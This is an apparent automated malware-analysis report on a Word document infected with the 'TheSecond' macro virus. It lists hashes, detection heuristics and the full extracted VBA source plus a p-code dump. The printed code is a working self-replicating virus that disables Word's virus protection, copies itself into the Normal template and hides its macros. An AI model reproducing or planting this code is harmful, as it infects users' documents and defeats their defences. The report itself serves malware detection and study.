TheSecond — Office (OLE) malware analysis

Static analysis result for SHA-256 8a0373e5d5e7729e…

MALICIOUS

Office (OLE)

39.0 KB Created: 1999-11-29 17:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d5fcfed1616f3f24783c9e9b295901af SHA-1: ca3f51ac1a95e4e6c6b45c749bdc6e1f2d64c587 SHA-256: 8a0373e5d5e7729ef1b3fcce556cd507c23d571f93625419cccd8339e21750b2
188 Risk Score

Malware Insights

TheSecond · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro virus markers and a VBA Auto_Close macro, indicating a self-replicating malicious document. The Auto_Close macro attempts to copy its 'TheSecond' VBA component to the active document and the normal template, potentially spreading the infection. The macro also attempts to disable virus protection and may trigger a save-as dialog, suggesting further malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.TheSecond-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7751 bytes
SHA-256: c7cdefc43228344144ac737290fb6da738c588d48cd857c3167b23824eff429d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  Copyrights = "The Second, 2000"
  NickName = "Revenger"
  Options.VirusProtection = False
  flag = False
  If Documents.Count >= 1 Then
    counter = NormalTemplate.VBProject.VBComponents.Count
    For i = 1 To counter
      If NormalTemplate.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    x = Application.StartupPath + "\TheSecond.tmp"
    If Not flag Then
      ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
      NormalTemplate.VBProject.VBComponents.Import (x)
    End If
    flag = False
    infected = False
    
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    If Not flag Then
      NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
      ActiveDocument.VBProject.VBComponents.Import (x)
      infected = True
    End If
    If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Äîêóìåíò") Then
      Dialogs(wdDialogFileSaveAs).Execute
    End If
    ActiveDocument.Saved = havesave
  End If
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Íþáèí"
    .Replacement.Text = "Íóäèí"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
  Dialogs(wdDialogFilePrint).Show
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Íóäèí"
    .Replacement.Text = "Íþáèí"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("Íåò çàãðóæåííûõ ìàêðîñîâ!")
End Sub

' Processing file: /tmp/qstore_b37ko70o
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/TheSecond - 3659 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	LitStr 0x0010 "The Second, 2000"
' 	St Copyrights 
' Line #2:
' 	LitStr 0x0008 "Revenger"
' 	St NickName 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitVarSpecial (False)
' 	St flag 
' Line #5:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Ge 
' 	IfBlock 
' Line #6:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St counter 
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld counter 
' 	For 
' Line #8:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #9:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #10:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000E "\TheSecond.tmp"
' 	Add 
' 	St x 
' Line #11:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #12:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #13:
' 	Ld x 
' 	Paren 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitVarSpecial (False)
' 	St flag 
' Line #16:
' 	LitVarSpecial (False)
' 	St infected 
' Line #17:
' Line #18:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #19:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #22:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #23:
' 	Ld x 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #24:
' 	LitVarSpecial (True)
' 	St infected 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	Ld havesave 
' 	Ld infected 
' 	And 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Äîêóìåíò"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #27:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Execute 0x0000 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld havesave 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	EndSub 
' Line #32:
' 	FuncDefn (Sub FilePrint())
' Line #33:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #34:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #35:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #36:
' 	LitStr 0x0005 "Íþáèí"
' 	MemStWith Then 
' Line #37:
' 	LitStr 0x0005 "Íóäèí"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #38:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #39:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #40:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #41:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #42:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #43:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #44:
' 	EndWith 
' Line #45:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #46:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #47:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #48:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #49:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #50:
' 	LitStr 0x0005 "Íóäèí"
' 	MemStWith Then 
' Line #51:
' 	LitStr 0x0005 "Íþáèí"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #52:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #53:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #54:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #55:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #56:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #57:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #58:
' 	EndWith 
' Line #59:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #60:
' 	EndSub 
' Line #61:
' 	FuncDefn (Sub ToolsMacro())
' Line #62:
' 	Ld wdDialogToolsMacro 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Display 0x0000 
' Line #63:
' 	EndSub 
' Line #64:
' 	FuncDefn (Sub ViewVBCode())
' Line #65:
' 	LitStr 0x0019 "Íåò çàãðóæåííûõ ìàêðîñîâ!"
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #66:
' 	EndSub

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